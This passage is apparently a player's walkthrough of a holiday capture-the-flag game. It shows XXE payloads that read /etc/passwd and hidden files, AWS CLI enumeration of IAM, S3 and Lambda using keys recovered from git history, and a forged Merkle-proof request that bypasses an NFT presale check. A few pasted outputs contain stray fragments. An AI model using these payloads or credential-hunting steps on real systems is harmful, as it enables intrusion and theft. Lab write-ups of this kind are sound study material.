I proceed to poke around. ![](https://i.imgur.com/yBxGQjx.png) I tried the json to xml conversion in this state and it worked. If I set the Content-Type to application/xml and send the following, I get back a message that looks acceptable: `I love rings of all colors!`. ```xml <?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <imgDrop>img3</imgDrop> <who>princess</who> <reqType>xml</reqType> </root> ``` All that remained was to plant the xxe; somewhere and extract it...but I spent quite a few days here. I derived the path from hints here and there. ...or rather, the answer came out from a large number of attempts, so what follows is not so much a guess, but more like a backward calculation from the answer that this is what it must have been. - There are places where the word "APP" is written in capital letters. Does it mean to build with the app folder in the root, which is common in containers? - `/app` is the root directory - The word `RINGLIST` appears. This is what Hime was hiding. So, conversely, it is what you should find. - The file name without extension is `ringlist`. - The word `SIMPLE FORMAT` also appears. It must be a hint about file extensions. A few simple ones would be... - The extension was `txt`. Now, if you understand the directory structure from the request and search all over the directory, you will get something back with `/app/static/images/ringlist.txt` as follows. ```xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///app/static/images/ringlist.txt" >]> <root> <imgDrop>&xxe;</imgDrop> <who>princess</who> <reqType>xml</reqType> </root> ``` The response is as follows. ```json { "appResp": "Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don't keep any secrets in it any more! Please though, don't tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)", "droppedOn": "none", "visit": "static/images/pholder-morethantopsupersecret63842.png,262px,100px" } ``` I'm not sure, so I try to Intercept and rewrite a normal request and display it. ![](https://i.imgur.com/jplPxXW.png) The following is written on what looks like a torn folder that came out. ``` x_phial_pholder_2022 bluering.txt redring.txt ``` I see...I'll just use the URL portion of the XXE. `file:///app/static/images/x_phial_pholder_2022/bluering.txt` I changed it to `file//app/staticimages/x_phial_pholder_2022/bluering.txt` and the comment for blue ring appeared. Looks good. I also got redring.txt. She said there is also a "gold" ring, so I tried goldring.txt, but no luck. I see silverring. silverring.txt and something else comes up again. ![](https://i.imgur.com/zYIHUFP.png) Looking closer, it appears to say `goldring_to_be_deleted.txt` on the ring. When I try it, a different request comes back. ok. ``` Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them. She's definitely hiding something. ``` The fountain is now completely on our side. REQuest? TYPE? Should I just change the reqtype? After doing a lot of work, I noticed that putting `&xxe;` on the reqType didn't give me any errors. I put back the imgDrop and put `&xxe;` on the reqType and it proceeded. Specifically, I did the following. ```xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]> <root> <imgDrop>img1</imgDrop> <who>princess</who> <reqType>&xxe;</reqType> </root> ``` And then... ![](https://i.imgur.com/Ic6qqFh.png) I finally got it! The question is to answer the file name, so I took the file name from `static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png` in the response and Answer `goldring-morethansupertopsecret76394734.png` and you are correct. ![](https://i.imgur.com/LaVfdtP.png) And get a web ring! # On the way... There is a meaningful space on the way from one Web Ring to the next. ![](https://i.imgur.com/xQ1UNjS.png) If you look closely, you will see a rope hanging down, and you can move up by pressing the up key. If you move to ← on the way, you will find a treasure chest. ![](https://i.imgur.com/YVsKCst.png) # Cloud Ring There is an amazing machine in place. ## AWS CLI Intro > Difficulty: ★ > Try out some basic AWS command line skills in this terminal. Talk to Jill Underpole in the Cloud Ring for hints. Talk to the person beside you to get a hint. > Hint: In the AWS command line (CLI), the Secure Token Service or STS has one very useful function. https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-caller-identity.html Hmm. I see. I open the console and follow the instructions as they come. > You may not know this, but AWS CLI help messages are very easy to access. First, try typing: > $ aws help AWS help as instructed. > Great! When you're done, you can quit with q. Press q to exit. > Next, please configure the default aws cli credentials with the access key AKQAAYRKO7A5Q5XUY2IY, the secret key qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1 . > https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html#cli-configure-quickstart-config Type aws configure to specify. > Excellent! To finish, please get your caller identity using the AWS command line. For more details please reference: > $ aws sts help > or reference: > https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/index.html Reading the reference, it looks like `aws sts get-caller-identity` is fine. Execute it and it clears. ## Before the next challenge... ![](https://i.imgur.com/saGDz3P.png) The wall can be removed from the side of the stairs and there is a treasure chest. ## Trufflehog Search > Difficulty: ★★ > Use Trufflehog to find secrets in a Git repo. Work with Jill Underpole in the Cloud Ring for hints. What's the name of the file that has AWS credentials? Problem with no console. Looking for a file containing credentials to extract AWS credentials from https://haugfactory.com/asnowball/aws_scripts.git. At first glance, it doesn't contain any credentials, so I scour the edit history. `git log -p`. Then, you can find the part `aws_secret_access_key`, which shows that it was written in the past. The filename of the file in which this is written is the answer. `put_policy.py` ## Exploitation via AWS CLI > Difficulty: ★★★ > Flex some more advanced AWS CLI skills to escalate privileges! Help Gerty Snowburrow in the Cloud Ring to get hints for this challenge. The instructions are followed to solve the puzzles. > Use Trufflehog to find credentials in the Gitlab instance at https://haugfactory.com/asnowball/aws_scripts.git. > Configure these credentials for us-east-1 and then run: > $ aws sts get-caller-identity I drop off the repo and look at the contents, but it does not contain the credential. I search for it in the edit history and it is there. > $ git log -p | grep aws_access_key_id > aws_access_key_id="AKIAAIDAYRANYAHGQOHD" > $ git log -p | grep aws_secret_access_key > aws_secret_access_key="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" Configure it with `aws configure` and `aws sts get-caller-identity` to proceed. > Managed (think: shared) policies can be attached to multiple users. Use the AWS CLI to findall/ any policies attached to your user. > The aws iam command to list attached user policies can be found here: > https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html > Hint: it is NOT list-user-policies. I googled around and got out with `aws iam list-attached-user-policies --user-name haug`. ``` $ aws iam list-attached-user-policies --user-name haug { "AttachedPolicies": [ { "PolicyName": "TIER1_READONLY_POLICY", "PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" } ], "IsTruncated": false } ``` > Now, view or get the policy that is attached to your user. > The aws iam command to get a policy can be found here: > https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html Information exits with `aws iam get-policy --policy-arn 'arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY'`. ``` $ aws iam get-policy --policy-arn 'arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY' { "Policy": { "PolicyName": "TIER1_READONLY_POLICY", "PolicyId": "ANPAYYOROBUERT7TGKUHA", "Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 11, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.", "CreateDate": "2022-06-21 22:02:30+00:00", "UpdateDate": "2022-06-21 22:10:29+00:00", "Tags": [] } } ``` ok. > Attached policies can have multiple versions. View the default version of this policy. > The aws iam command to get a policy version can be found here: > https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html get-policy-version could be used. `aws iam get-policy-version --policy-arn 'arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY' --version-id 'v1'` From the previous output, the default version is v1, so I used that. > Inline policies are policies that are unique to a particular identity or resource. Use the AWS CLI to list the inline policies associated with your user. > The aws iam command to list user policies can be found here: > https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html > Hint: it is NOT list-attached-user-policies. `aws iam list-user-policies --user-name haug` ``` $ aws iam list-user-policies --user-name haug { "PolicyNames": [ "S3Perms" ], "IsTruncated": false } ``` > Now, use the AWS CLI to get the only inline policy for your user. > The aws iam command to get a user policy can be found here: > https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html `aws iam get-user-policy --user-name haug --policy-name S3Perms`でok. ``` $ aws iam get-user-policy --user-name haug --policy-name S3Perms { "UserPolicy": { "UserName": "haug", "PolicyName": "S3Perms", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:ListObjects" ], "Resource": [ "arn:aws:s3:::smogmachines3", "arn:aws:s3:::smogmachines3/*" ] } ] } }, "IsTruncated": false } ``` > The inline user policy named S3Perms disclosed the name of an S3 bucket that you have permissions to list objects. > List those objects! > The aws s3api command to list objects in an s3 bucket can be found here: > https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/index.html ok with `aws s3api list-objects --bucket smogmachines3`. > The attached user policy provided you several Lambda privileges. Use the AWS CLI to list Lambda functions. > The aws lambda command to list functions can be found here: > https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html ok with `aws lambda list-functions`. ``` $ aws lambda list-functions { "Functions": [ { "FunctionName": "smogmachine_lambda", "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda", "Runtime": "python3.9", "Role": "arn:aws:iam::602123424321:role/smogmachine_lambda", db3277 "Handler": "handler.lambda_handler", "CodeSize": 2126, "Description": "", "Timeout": 600, "MemorySize": 256, "LastModified": "2022-09-07T19:28:23.634+0000", "CodeSha256": "GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=", "Version": "$LATEST", "VpcConfig": { "SubnetIds": [ "subnet-8c80a9cb8b3fa5505" ], "SecurityGroupIds": [ "sg-b51a01f5b4711c95c" ], "VpcId": "vpc-85ea8596648f35e00" Dec-22 }, "Environment": { "Variables": { "LAMBDASECRET": "975ceab170d61c75", "LOCALMNTPOINT": "/mnt/smogmachine_files" } }, "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "7e198c3c-d4ea-48dd-9370-e5238e9ce06e", "FileSystemConfigs": [ { "Arn": "arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/fsap-db3277b03c6e975d2", "LocalMountPath": "/mnt/smogmachine_files" } ], "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 } } ] } ``` > Lambda functions can have public URLs from which they are directly accessible. > Use the AWS CLI to get the configuration containing the public URL of the Lambda function. > The aws lambda command to get the function URL config can be found here: > https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html `aws lambda get-function-url-config --function-name smogmachine_lambda`でok. ``` $ aws lambda get-function-url-config --function-name smogmachine_lambda { "FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/", "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda", "AuthType": "AWS_IAM", "Cors": { "AllowCredentials": false, "AllowHeaders": [], "AllowMethods": [ "GET", "POST" ], "AllowOrigins": [ "*" ], "ExposeHeaders": [], "MaxAge": 0 }, "CreationTime": "2022-09-07T19:28:23.808713Z", "LastModifiedTime": "2022-09-07T19:28:23.808713Z" } ``` This cleared it up. It seemed it was a boss question and I got the ring. Cute ring. ![](https://i.imgur.com/KXZlBbO.png) # Before the last ring... ![](https://i.imgur.com/LfgKkDB.png) Proceed from the right side of Burning Ring Of Fire and you will find a treasure chest. You will get money and a strange hat. # Burning Ring of Fire ## Buy a Hat > Difficulty: ★★ > Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels. Buy one from the vending machine where you can buy a hat and you are clear. Just do as it is written. If you forget the address of your wallet, just go back to the first stage Orientation, and if you forget the secret key, you can find it by going to the hidden room mentioned above. ## Blockchain Divination > Difficulty: ★★★★ > Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain. At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels. There is a clue in the hidden treasure chest still found. > Find a transaction in the blockchain where someone sent or received KringleCoin! The Solidity Source File is listed as KringleCoin.sol. Tom's Talk might be helpful! If you start Blockchain Explorer and look at Block#1, it creates a contract. The address at this time is the answer as it is. Contract Address: 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554 ## Exploit a Smart Contract > Difficulty: ★★★★★ > Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels. Problem to crack a smart contract and buy NFT. It can be bought from a terminal on the side and the price is 100 KringleCoin (KC). It can be bought at a price, but the Proof Values need to be set appropriately. Once the proper Proof Values have been found, you can use the Just send 100 KC to 0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a and come back. The clue is probably this. > Hint: You're going to need a Merkle Tree of your own. Math is hard. Professor Petabyte can help you out. https://decentralizedthoughts.github.io/2020-12-22-what-is-a-merkle-tree/ Blockchain Explorer shows a smart contract for NFT registered at #2. Looking at the verification, the following is suspicious. ``` function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) { bytes32 computedHash = leaf; for (uint i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash == _root; } function presale_mint(address to, bytes32 _root, bytes32[] memory _proof) public virtual { bool _preSaleIsActive = preSaleIsActive; require(_preSaleIsActive, "Presale is not currently active."); bytes32 leaf = keccak256(abi.encodePacked(to)); require(verify(leaf, _root, _proof), "You are not on our pre-sale allow list!"); _mint(to, _tokenIdTracker.current()); _tokenIdTracker.increment(); } ``` If you read the code, it is doing the Markle Tree calculation itself. At first, the to keccak256 is taken as a leaf, and the _proof is attached in order and hashed in the same way. If it finally matches _root, it's OK. I cruised around Blockchain Explorer and found success at #118, #76293, and the following. ``` #118 function: presale_mint(address,bytes32,bytes32[]) parameters: {'to': '0xa1861E96DeF10987E1793c8f77E811032069f8E9', '_root': b'\xc4t\x1e\x81\x06[\xff\x02v.\xd3\xce\x06ncY\xc1\xf4ae\x18\xe06\x99\xc8\x882\xef\x84\x91p\x14', '_proof': [b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*']} #76293 function: presale_mint(address,bytes32,bytes32[]) parameters: {'to': '0xd8AA7B14a0917171213b24cDc4aA82683E3dcfaE', '_root': b'S>Y\x0f\xc7\xf5K]\xecY]D\xda\x87\xbb\x11\x86\x8aI\xf4\x05\x89\x8e}C\xacQQ\xb3\xca$$', '_proof': [b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*']} ``` I see that `_proof` is the same value. I think the Proof Values you are inputting are the `_root` values. Since the `to` is fixed with your own and the `_proof` is fixed, I know how to calculate the `_root`. You can try the following with the #76293 example. ``` from Crypto.Hash import keccak from Crypto.Util.number import * to = 0xd8AA7B14a0917171213b24cDc4aA82683E3dcfaE to = long_to_bytes(to) _proof = b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*' _root = b'S>Y\x0f\xc7\xf5K]\xecY]D\xda\x87\xbb\x11\x86\x8aI\xf4\x05\x89\x8e}C\xacQQ\xb3\xca$$' leaf = keccak.new(data=to, digest_bits=256).digest() res = keccak.new(data=_proof+leaf, digest_bits=256).digest() print(res) print(_root) ``` So, I try to put root in Proof Values, but it doesn't work. I looked at the communication again. ![](https://i.imgur.com/31WiCoS.png) Oh, you're sending the root too! It looks like we are sending all the elements we need for verification, so we should just add a known `_proof` and specify a matching root. ``` from Crypto.Hash import keccak from Crypto.Util.number import * import binascii to = 0x559382c264a9f431Fb35ae360b046775a79e2983 to = long_to_bytes(to) _proof = b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*' print("Proof: 0x", binascii.hexlify(_proof)) leaf = keccak.new(data=to, digest_bits=256).digest() res = keccak.new(data=_proof+leaf, digest_bits=256).digest() print("Root: 0x", binascii.hexlify(res)) ``` and make a parameter from your own address and send it as follows. ``` POST /cgi-bin/presale HTTP/2 Host: boredsporcrowboatsociety.com Cookie: GCLB="03cc6f2c174c9ff7" Content-Length: 277 Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Content-Type: application/json Accept: */* Origin: https://boredsporcrowboatsociety.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=hamayanhamayan&id=aa9a889a-7556-4b12-8689-1c64161ad6aa&area=level5&location=13,15&tokens= Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 {"WalletID":"0x559382c264a9f431Fb35ae360b046775a79e2983","Root":"0xf1451325a80213aa3574a87c2212bc8d71807d145bc0f363f19a6c7eeb29d4c3","Proof":"0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a","Validate":"true","Session":"aa9a889a-7556-4b12-8689-1c64161ad6aa"} ``` `{"Response": "You're on the list and good to go! Now... BUY A SPORC!"}` ok! Now all you need to do is pay 100KC, set the Validate on the request to false, send it back, and you're all set! By the way, you can actually see the NFT you bought at The Bored Sporc Rowboat Society's Gallery. ![](https://i.imgur.com/xOwZcf1.png) Scratch-holders may be rarer than you think. Anyway, rings acquired. I got them all! ![](https://i.imgur.com/k3k0Rk7.png) ## After all... ![](https://i.imgur.com/w3sMLAA.png) I don't know what this was... I must be missing something... # Go to Finale Now that I have the five rings, let's go back to the front of the castle. ![](https://i.imgur.com/Mb69QkT.png) The door is open! ![](https://i.imgur.com/yiohkFJ.jpg) When I entered, there were many people. I talked to many people and was told that there was a special swag prepared only for those who cleared the game. Talk to Santa, and you're clear! ![](https://i.imgur.com/teqnOR6.png) The emotional end roll begins. Thank you for all the preparation. It has been a wonderful December. I am of the group that stays until the end in the movie theater, so I will watch it properly until the end. ## Completed Story The story was complete. ``` Five Rings for the Christmas king immersed in cold Each Ring now missing from its zone The first with bread kindly given, not sold Another to find 'ere pipelines get owned One beneath a fountain where water flowed Into clouds Grinchum had the fourth thrown The fifth on blockchains where shadows be bold One hunt to seek them all, five quests to find them One player to bring them all, and Santa Claus to bind them ``` ...It's legendary. ## Finally. I didn't change my avatar at all, so I'll change it to something I like. Finally, I took a photo with my favorite character and that was it. It was so much fun! ![](https://i.imgur.com/srElxTo.png)